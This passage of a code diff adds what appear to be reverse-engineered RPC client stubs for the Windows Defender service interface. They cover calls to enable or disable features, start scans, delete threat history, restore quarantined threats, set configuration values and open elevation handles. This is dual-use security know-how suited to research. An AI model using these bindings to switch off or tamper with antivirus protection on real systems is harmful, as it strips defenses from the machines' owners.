_windefend_MIDL_TYPE_FORMAT_STRING + { + short Pad; + unsigned char Format[ TYPE_FORMAT_STRING_SIZE ]; + } windefend_MIDL_TYPE_FORMAT_STRING; + +typedef struct _windefend_MIDL_PROC_FORMAT_STRING + { + short Pad; + unsigned char Format[ PROC_FORMAT_STRING_SIZE ]; + } windefend_MIDL_PROC_FORMAT_STRING; + +typedef struct _windefend_MIDL_EXPR_FORMAT_STRING + { + long Pad; + unsigned char Format[ EXPR_FORMAT_STRING_SIZE ]; + } windefend_MIDL_EXPR_FORMAT_STRING; + + +static const RPC_SYNTAX_IDENTIFIER _RpcTransferSyntax_2_0 = +{{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}}; + +static const RPC_SYNTAX_IDENTIFIER _NDR64_RpcTransferSyntax_1_0 = +{{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}}; + +#if defined(_CONTROL_FLOW_GUARD_XFG) +#define XFG_TRAMPOLINES(ObjectType)\ +NDR_SHAREABLE unsigned long ObjectType ## _UserSize_XFG(unsigned long * pFlags, unsigned long Offset, void * pObject)\ +{\ +return ObjectType ## _UserSize(pFlags, Offset, (ObjectType *)pObject);\ +}\ +NDR_SHAREABLE unsigned char * ObjectType ## _UserMarshal_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\ +{\ +return ObjectType ## _UserMarshal(pFlags, pBuffer, (ObjectType *)pObject);\ +}\ +NDR_SHAREABLE unsigned char * ObjectType ## _UserUnmarshal_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\ +{\ +return ObjectType ## _UserUnmarshal(pFlags, pBuffer, (ObjectType *)pObject);\ +}\ +NDR_SHAREABLE void ObjectType ## _UserFree_XFG(unsigned long * pFlags, void * pObject)\ +{\ +ObjectType ## _UserFree(pFlags, (ObjectType *)pObject);\ +} +#define XFG_TRAMPOLINES64(ObjectType)\ +NDR_SHAREABLE unsigned long ObjectType ## _UserSize64_XFG(unsigned long * pFlags, unsigned long Offset, void * pObject)\ +{\ +return ObjectType ## _UserSize64(pFlags, Offset, (ObjectType *)pObject);\ +}\ +NDR_SHAREABLE unsigned char * ObjectType ## _UserMarshal64_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\ +{\ +return ObjectType ## _UserMarshal64(pFlags, pBuffer, (ObjectType *)pObject);\ +}\ +NDR_SHAREABLE unsigned char * ObjectType ## _UserUnmarshal64_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\ +{\ +return ObjectType ## _UserUnmarshal64(pFlags, pBuffer, (ObjectType *)pObject);\ +}\ +NDR_SHAREABLE void ObjectType ## _UserFree64_XFG(unsigned long * pFlags, void * pObject)\ +{\ +ObjectType ## _UserFree64(pFlags, (ObjectType *)pObject);\ +} +#define XFG_BIND_TRAMPOLINES(HandleType, ObjectType)\ +static void* ObjectType ## _bind_XFG(HandleType pObject)\ +{\ +return ObjectType ## _bind((ObjectType) pObject);\ +}\ +static void ObjectType ## _unbind_XFG(HandleType pObject, handle_t ServerHandle)\ +{\ +ObjectType ## _unbind((ObjectType) pObject, ServerHandle);\ +} +#define XFG_TRAMPOLINE_FPTR(Function) Function ## _XFG +#define XFG_TRAMPOLINE_FPTR_DEPENDENT_SYMBOL(Symbol) Symbol ## _XFG +#else +#define XFG_TRAMPOLINES(ObjectType) +#define XFG_TRAMPOLINES64(ObjectType) +#define XFG_BIND_TRAMPOLINES(HandleType, ObjectType) +#define XFG_TRAMPOLINE_FPTR(Function) Function +#define XFG_TRAMPOLINE_FPTR_DEPENDENT_SYMBOL(Symbol) Symbol +#endif + + + +extern const windefend_MIDL_TYPE_FORMAT_STRING windefend__MIDL_TypeFormatString; +extern const windefend_MIDL_PROC_FORMAT_STRING windefend__MIDL_ProcFormatString; +extern const windefend_MIDL_EXPR_FORMAT_STRING windefend__MIDL_ExprFormatString; + +#define GENERIC_BINDING_TABLE_SIZE 0 + + +/* Standard interface: DefaultIfName, ver. 2.0, + GUID={0xc503f532,0x443a,0x4c69,{0x83,0x00,0xcc,0xd1,0xfb,0xdb,0x38,0x39}} */ + + extern const MIDL_STUBLESS_PROXY_INFO DefaultIfName_ProxyInfo; + + +static const RPC_CLIENT_INTERFACE DefaultIfName___RpcClientInterface = + { + sizeof(RPC_CLIENT_INTERFACE), + {{0xc503f532,0x443a,0x4c69,{0x83,0x00,0xcc,0xd1,0xfb,0xdb,0x38,0x39}},{2,0}}, + {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}}, + 0, + 0, + 0, + 0, + &DefaultIfName_ProxyInfo, + 0x02000000 + }; +RPC_IF_HANDLE DefaultIfName_v2_0_c_ifspec = (RPC_IF_HANDLE)& DefaultIfName___RpcClientInterface; +#ifdef __cplusplus +namespace { +#endif + +extern const MIDL_STUB_DESC DefaultIfName_StubDesc; +#ifdef __cplusplus +} +#endif + +static RPC_BINDING_HANDLE DefaultIfName__MIDL_AutoBindHandle; + + +long Proc0_ServerMpEnableFeature( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 0, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc1_ServerMpDisableFeature( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 1, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc2_ServerMpQueryStatus( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [out] */ struct Struct_144_t *arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 2, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc3_ServerMpEventOpen( + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [out] */ struct Struct_16_t *arg_5, + /* [context_handle][out] */ void **arg_6, + /* [out] */ error_status_t *arg_7) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 3, + 0, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6, + arg_7); + return ( long )_RetVal.Simple; + +} + + +long Proc4_ServerMpEventClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 4, + 0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc5_ServerMpEventQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 5, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc6_ServerMpOnDemandStartScan( + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [size_is][unique][in] */ struct Struct_476_t *arg_5, + /* [in] */ long arg_6, + /* [out] */ struct Struct_16_t *arg_7, + /* [context_handle][out] */ void **arg_8, + /* [out] */ error_status_t *arg_9) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 6, + 0, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6, + arg_7, + arg_8, + arg_9); + return ( long )_RetVal.Simple; + +} + + +long Proc7_ServerMpOnDemandQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 7, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc8_ServerMpOnDemandQueryScanResult( + /* [context_handle][in] */ void *arg_0, + /* [out] */ struct Struct_78_t *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 8, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc9_ServerMpOnDemandControlScan( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 9, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc10_ServerMpOnDemandControlSystemScan( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 10, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc11_ServerMpOnDemandPersistScan( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 11, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc12_ServerMpOnDemandCloseScan( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 12, + 0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc13_ServerMpOnDemandThreatOpen( + /* [context_handle][in] */ void *arg_0, + /* [context_handle][out] */ void **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 13, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc14_ServerMpOnDemandThreatEnum( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_1232_t **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 14, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc15_ServerMpOnDemandThreatClose( + /* [context_handle][in] */ void *arg_0, + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 15, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc16_ServerMpScanOpenThreatHistory( + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [context_handle][out] */ void **arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 16, + 0, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc17_ServerMpScanEnumerateThreatHistory( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_1232_t **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 17, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc18_ServerMpScanEnumerateDetectionHistory( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_1382_t **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 18, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc19_ServerMpScanCloseThreatHistory( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 19, + 0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc20_ServerMpScanDeleteThreatHistory( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 20, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc21_ServerMpRpcCleanOpen( + /* [in] */ long arg_1, + /* [unique][in] */ struct Struct_1434_t *arg_2, + /* [in] */ long arg_3, + /* [context_handle][out] */ void **arg_4, + /* [out] */ error_status_t *arg_5) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 21, + 0, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5); + return ( long )_RetVal.Simple; + +} + + +long Proc22_ServerMpRpcScanCleanOpen( + /* [context_handle][in] */ void *arg_0, + /* [unique][in] */ struct Struct_1434_t *arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 22, + 0, + arg_0, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc23_ServerMpRpcCleanStart( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ struct Struct_16_t *arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 23, + 0, + arg_0, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc24_ServerMpRpcCleanControl( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 24, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc25_ServerMpRpcCleanThreatsNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 25, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc26_ServerMpRpcPrecheckStart( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ struct Struct_16_t *arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 26, + 0, + arg_0, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc27_ServerMpRpcPrecheckNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 27, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc28_ServerMpRpcCleanQuery( + /* [context_handle][in] */ void *arg_0, + /* [out] */ struct Struct_16_t *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 28, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc29_ServerMpRpcCleanClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 29, + 0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc30_MpService__CMpMapsLatencyDataIterator__Clone( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 30, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc31_MpService__CMpMapsLatencyDataIterator__Clone( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [out] */ error_status_t *arg_5) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 31, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5); + return ( long )_RetVal.Simple; + +} + + +long Proc32_MpService__CMpMapsLatencyDataIterator__Clone( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [out] */ error_status_t *arg_5) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 32, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5); + return ( long )_RetVal.Simple; + +} + + +long Proc33_MpService__CMpMapsLatencyDataIterator__Clone( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 33, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc34_ServerMpQuarantineEnumOpen( + /* [in] */ long arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 34, + 0, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc35_ServerMpQuarantineEnumerate( + /* [context_handle][in] */ void *arg_0, + /* [out] */ struct Struct_16_t *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 35, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc36_ServerMpQuarantineEnumClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 36, + 0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc37_ServerMpQuarantineQueryInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ struct Struct_16_t *arg_2, + /* [ref][out] */ struct Struct_1232_t **arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 37, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc38_ServerMpQuarantineRestoreThreat( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ struct Struct_16_t *arg_3, + /* [string][in] */ wchar_t *arg_4, + /* [out] */ error_status_t *arg_5) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 38, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5); + return ( long )_RetVal.Simple; + +} + + +long Proc39_ServerMpQuarantineDeleteThreat( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ struct Struct_16_t *arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 39, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc40_ServerMpStateEnumOpen( + /* [context_handle][out] */ void **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 40, + 0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc41_ServerMpQueryEngineVersion( + /* [in] */ handle_t IDL_handle, + /* [out] */ struct Struct_1536_t *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 41, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc42_ServerMpUpdateEngineSignature( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 42, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc43_ServerMpRollbackEngineSignature( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 43, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc44_ServerMpThreatStaticInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [ref][out] */ struct Struct_1232_t **arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 44, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc45_ServerMpQuerySystemInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_16_t *arg_1, + /* [in] */ long arg_2, + /* [size_is][in] */ unsigned char *arg_3, + /* [out] */ long *arg_4, + /* [size_is][size_is][ref][out] */ unsigned char **arg_5, + /* [out] */ error_status_t *arg_6) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 45, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6); + return ( long )_RetVal.Simple; + +} + + +long Proc46_ServerMpRpcConfigSetValue( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [size_is][in] */ unsigned char *arg_5, + /* [out] */ error_status_t *arg_6) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 46, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6); + return ( long )_RetVal.Simple; + +} + + +long Proc47_ServerMpRpcConfigDelValue( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 47, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc48_ServerMpRpcElevationHandleOpen( + /* [out] */ struct Struct_16_t *arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 48, + 0, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc49_ServerMpRpcElevationHandleAttach( + /* [in] */ struct Struct_16_t *arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 49, + 0, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc50_ServerMpRpcElevationHandleClose( + /* [in] */ long arg_1, + /* [context_handle][out][in] */ void **arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 50, + 0, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc51_ServerMpRpcElevateCleanHandle( + /* [context_handle][in] */ void *arg_0, + /* [context_handle][in] */ void *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 51, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc52_ServerMpRpcSignatureThreatOpen( + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [context_handle][out] */ void **arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 52, + 0, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc53_ServerMpRpcSignatureThreatEnum( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [ref][out] */ struct Struct_1232_t **arg_2, + /* [out] */ error_status_t *arg_3) +{ + + 